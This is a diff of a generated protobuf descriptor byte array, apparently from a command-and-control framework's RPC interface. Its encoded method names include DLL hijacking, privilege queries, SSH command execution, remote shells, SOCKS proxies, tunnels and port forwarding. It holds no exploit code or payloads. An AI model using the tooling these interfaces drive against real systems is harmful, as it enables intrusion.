- 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f,
- 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77,
- 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71,
- 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72,
- 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b,
- 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69,
- 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70,
- 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f,
- 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
- 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
- 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
- 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e,
- 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e,
- 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65,
- 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65,
- 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c,
- 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69,
- 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65,
- 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
- 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57,
- 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72,
- 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
- 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
- 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
- 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74,
- 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e,
- 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69,
+ 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69,
+ 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74,
+ 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c,
+ 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53,
+ 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65,
+ 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48,
+ 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63,
+ 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63,
+ 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
+ 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72,
+ 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+ 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f,
+ 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
+ 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+ 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64,
+ 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73,
+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73,
+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70,
+ 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46,
+ 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
+ 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f,
+ 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a,
+ 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73,
+ 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f,
+ 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c,
+ 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69,
+ 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
+ 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45,
+ 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65,
+ 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65,
+ 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74,
+ 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52,
+ 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61,
+ 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c,
+ 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74,
+ 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
+ 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72,
+ 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65,
+ 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65,
+ 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
+ 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
+ 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78,
+ 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65,
- 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61,
- 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74,
- 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f,
+ 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74,
+ 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57,
+ 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d,
+ 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d,
+ 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53,
+ 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
+ 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72,
+ 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71,
+ 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f,
+ 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53,
+ 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74,
- 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a,
- 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72,
- 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74,
- 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46,
- 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46,
- 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72,
- 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65,
- 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
- 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f,
- 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
- 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
- 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
- 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52,
- 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
- 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a,
- 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76,
- 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
- 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71,
- 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
- 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68,
- 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
- 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74,
- 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
- 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b,
- 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a,
- 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a,
- 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61,
- 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
- 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65,
- 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a,
- 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f,
